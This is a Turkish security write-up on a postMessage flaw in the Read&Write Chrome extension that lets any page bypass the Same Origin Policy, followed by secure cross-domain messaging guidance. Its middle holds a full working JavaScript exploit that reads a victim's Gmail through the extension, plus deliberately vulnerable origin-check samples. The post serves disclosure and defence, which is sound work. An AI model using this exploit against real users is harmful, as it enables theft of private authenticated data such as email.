8 Milyon Kullanıcıyı Etkileyen SOP Bypass'ı
Hepimiz tarayıcılarımızda bir takım eklentiler kullanıyoruz, kimisi sayfaların başına kimisi sonuna kendi javascript dosyalarını injecte ediyor. Peki, hangi durumda ne kadar güvenebiliriz? Tehlikeli olabilecek noktaları Same Origin Policy engelleyebiliyor mu? Birlikte öğrenelim.
Read&Write, texthelp tarafından geliştirilen, Google Docs gibi pek çok online dokümana özelleştirilmiş bir araç çubuğu sunan bir eklenti.
Tüm diğer eklentiler gibi Read&Write eklentisi de browserları özellik yönünden zenginleştirmek için tasarlanan, diğer yanıyla da giderek daha da büyük bir eko sistem haline gelen eklenti eko sisteminin bir üyesi.
Peki eklentileri bir atak vektörü haline getiren ne?
İstemci taraflı güvenlik denilince konu dönüp dolaşıp, ister istemez SOP'a yani Same Origin Policy'e geliyor.
SOP ile ilgili hatırlarda kalan önemli kurallar biri farklı originlerden / kaynaklardan da olsa sayfamıza eklenen scriptlerin bizim sayfamızın kontekstinde çalışıp, dolayısıyla sayfamızın DOM vb kaynaklarına erişebileceği idi.
Eklentiler de sayfalarımıza ekledikleri bu scriptler, stil dosyaları marifetleriyle vaat ettikleri işi yapabiliyorlar. Dolayısıyla eklenti geliştiricisinin güvenlik konusunda düştüğü en ufak zaaf eklenti üzerinden gelişecek bir atak ile SOP'u aşarak tüm originleri etkileyebiliyor. SOP'u anlamsız kılıyor.
Nitekim bu hafta ele alacağımız konu da bunu kanıtlar nitelikte.
Chrome tarayıcılar için geliştirilen Read&Write eklentisi, HTTP ve HTTPS tüm sayfalara bir script dosyası ekliyor:
"content_scripts": [
{
"matches": [ "https://*/*", "http://*/*" ],
"js": [ "inject.js" ],
"run_at": "document_idle",
"all_frames": true
}
Inject.js'e baktığımızda, tüm postMessage alımlarında tetiklenecek bir event handler görüyoruz:
window.addEventListener("message", this.onMessage);
İlgili sayfaya bir Cross Domain Message gönderildiğinde this.onMessage isimli fonksiyon çağrısı tetiklenecek:
function onMessage() {
void 0 != event.source && void 0 != event.data && event.source == window && "1757FROM_PAGERW4G" == event.data.type && ("connect" == event.data.command ? chrome.extension.sendRequest(event.data, onRequest) : "ejectBar" == event.data.command ? ejectBar() : "th-closeBar" == event.data.command ? chrome.storage.sync.set({
enabledRW4GC: !1
}) : chrome.extension.sendRequest(event.data, function(e) {
window.postMessage(e, "*")
}))
}
Görüleceği üzere yukarıdaki kod bloğu teslim aldığı mesajı chrome.extension.sendRequest vasıtası ile eklentiye gönderiyor. Aynı zamanda da window.postMessage(e,"*") ile yeniden sayfaya göndermiş oluyor. Bir nevi proxy görevi görmüş oluyor.
Read&Write eklentisi arka tarafta pek çok sayfaya sahip:
"background": {
"scripts": [
"assets/google-analytics-bundle.js",
"assets/moment.js",
"assets/thFamily3.js",
"assets/thHashing.js",
"assets/identity.js",
"assets/socketmanager.js",
"assets/thFunctionManager.js",
"assets/equatio-latex-extractor.js",
"assets/background.js",
"assets/xmlIncludes/linq.js",
"assets/xmlIncludes/jszip.js",
"assets/xmlIncludes/jszip-load.js",
"assets/xmlIncludes/jszip-deflate.js",
"assets/xmlIncludes/jszip-inflate.js",
"assets/xmlIncludes/ltxml.js",
"assets/xmlIncludes/ltxml-extensions.js",
"assets/xmlIncludes/testxml.js"
]
},
Biz bu sayfalar arasından background.js 'e odaklanacağız.
chrome.extension.onRequest.addListener(function(e, t, o) {
if ("thGetVoices" === e.method && "1757FROM_PAGERW4G" == e.type) {
if (g_voices.length > 0 && "true" !== e.payload.refresh) return void o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
});
var c = new XMLHttpRequest;
c.open("GET", e.payload.url, !0), c.onreadystatechange = function() {
4 == this.readyState && 200 == this.status && (g_voices = this.responseText.toString(), o({
method: "thGetVoices",
type: "1757FROM_BGRW4G",
payload: {
response: g_voices
}
}))
}, c.send()
}
Yukarıdaki koddan anlaşılacağı üzere yukarıdaki chrome.extension.onRequest bloğu gönderilen mesajda metot thGetVoices, type da 1757FROM_PAGERW4G olarak set edildi ise tetiklenecek.
Şayet event nesnesinin payload.refresh özelliği true olarak set edildi ise, payload.URL'de belirtilen origin'e istek yapılacak ve dönen yanıt postMessage olarak bu postMessage çağrısını yapan ilk sayfaya gönderilecek.
Peki istek nasıl yapılacak? Tabii ki browserda kayıtlı olan Cookie ve diğer credentials da isteğe eklenerek.
Saldırgan, aşağıdaki gibi bir kod bloğu ile zafiyeti tetikleyip, istenilen sayfanın içeriğini SOP'a rağmen elde edebilir:
function exploit_get(input_url) {
return new Promise(function(resolve, reject) {
var delete_callback = false;
var event_listener_callback = function(event) {
if ("data" in event && event.data.payload.response) {
window.removeEventListener("message", event_listener_callback, false);
resolve(event.data.payload.response);
}
};
window.addEventListener("message", event_listener_callback, false);
window.postMessage({
type: "1757FROM_PAGERW4G",
"method": "thGetVoices",
"payload": {
"refresh": "true",
"url": input_url
}
}, "*");
});
}
setTimeout(function() {
exploit_get("https://mail.google.com/mail/u/0/h/").then(function(response_body) {
alert("Gmail emails have been stolen!");
alert(response_body);
});
}, 1000);
Görüldüğü gibi GMail'in Simple HTML görünümüne ulaşıp içerik elde edildi.
Zafiyet istismarının PoC videosu için lütfen tıklayınız.
Zafiyet hakkında ayrıntılı bilgi için lütfen tıklayınız.
Peki ya çözüm?
Sorun esas olarak postMessage gönderimlerde message'ı gönderen origin'in kontrol edilmeyip, hem origin'den gelen isteğin işlenmesi, hem de sonucun herhangi bir kontrol olmadan yine bu origin'e gönderilmesinde yatıyor. Ne yazık ki pek çok browser extension'ı bu sorun ile malul durumda.
Cross Domain Messaging konusunda aşağıdaki düsturları hatırlatmakta yarar görüyoruz:
- Eğer herhangi bir siteden cross domain mesaj almak istemiyorsanız, mesajları dinlemek için herhangi bir listener set etmeyin. Etmemeniz yeterli.
- Mesaj gönderimlerinde mesajı alacak olan kaynağı belirtirken asteriks(*) karakteri kullanmak yerine; spesifik bir origin belirtin. Çünkü siz mesajı yolladığınız esnada hedef window'un location değeri değişmiş olabilir.
Örnek bir senaryo:
http://trusted.victim.com'daki içerik:
// event listener window.addEventListener('message',function(event) { if(event.origin == 'http://victim.com') alert('A sensitive data:'+event.data); },false); victim = window.open("http://victim.com"); victim.postMessage("Hi, I am trusted.","*"); //an injected malicious code. window.location="http://www.anothersite.com";
http://victim.com'daki içerik:
window.addEventListener('message',function(event) { if(event.origin == 'http://trusted.victim.com') { //if origin is trusted, send password event.source.postMessage('X012ksj',"*"); } },false);
http://www.anothersite.com'daki içerik:
window.addEventListener('message',function(event) { alert('Hi, This is another site. A sensitive data is that :'+event.data); },false);
Görüleceği üzere, http://trusted.victim.com http://victim.com 'a bir mesaj yollayarak kendisini tanıtıyor. Tam bu esnada sayfanın location'ı http://www.anothersite.com olarak değiştiriliyor. http://victim.com ise kendisine gelen mesajdaki event.origin'den bilgisi ile mesajın kaynağını doğruluyor, fakat cevap verirken, yanlış bir yol izleyip, yanıtı göndereceği origin'i açıkça belirtmek yerine(http://trusted.victim.com), asteriks (*) kullanıyor. Böylece event.source ile işaret edilen window'a mesaj gittiğinde o window'da barınan dokümanın origin'ini değiştiği için, önemli mesaj, başka bir kaynak ile paylaşılmış olacak.
- Diğer kaynaklardan mesaj almak istediğiniz takdirde, gelen mesajın origin ve source'ını doğruluğunu, beklenen kaynak olup olmadığını kontrol edin.
Hatalı bir örnek:
if (msg.origin.indexOf(".example.com") != −1) { ... }
Yukarıdaki kontrol yalnızca example.com siteleri ile değil aynı zamanda test.example.com, attacker.com sitesi ile de eşleşecek.
- Yalnızca mesajın gönderildiği kaynağı değil, mesajın kendisini de kontrol etmelisiniz. Güvendiğiniz bir kaynaktan aldığınız mesaj, XSS gibi zafiyetler yoluyla değiştirilip, sizin sayfanızda zararlı kod çalıştırmak için değiştirilmiş olabilir:
Hatalı kullanım:
eval(event.data); element.innerHTML(event.data);
Bunun yerine,
element.innerText = event.data;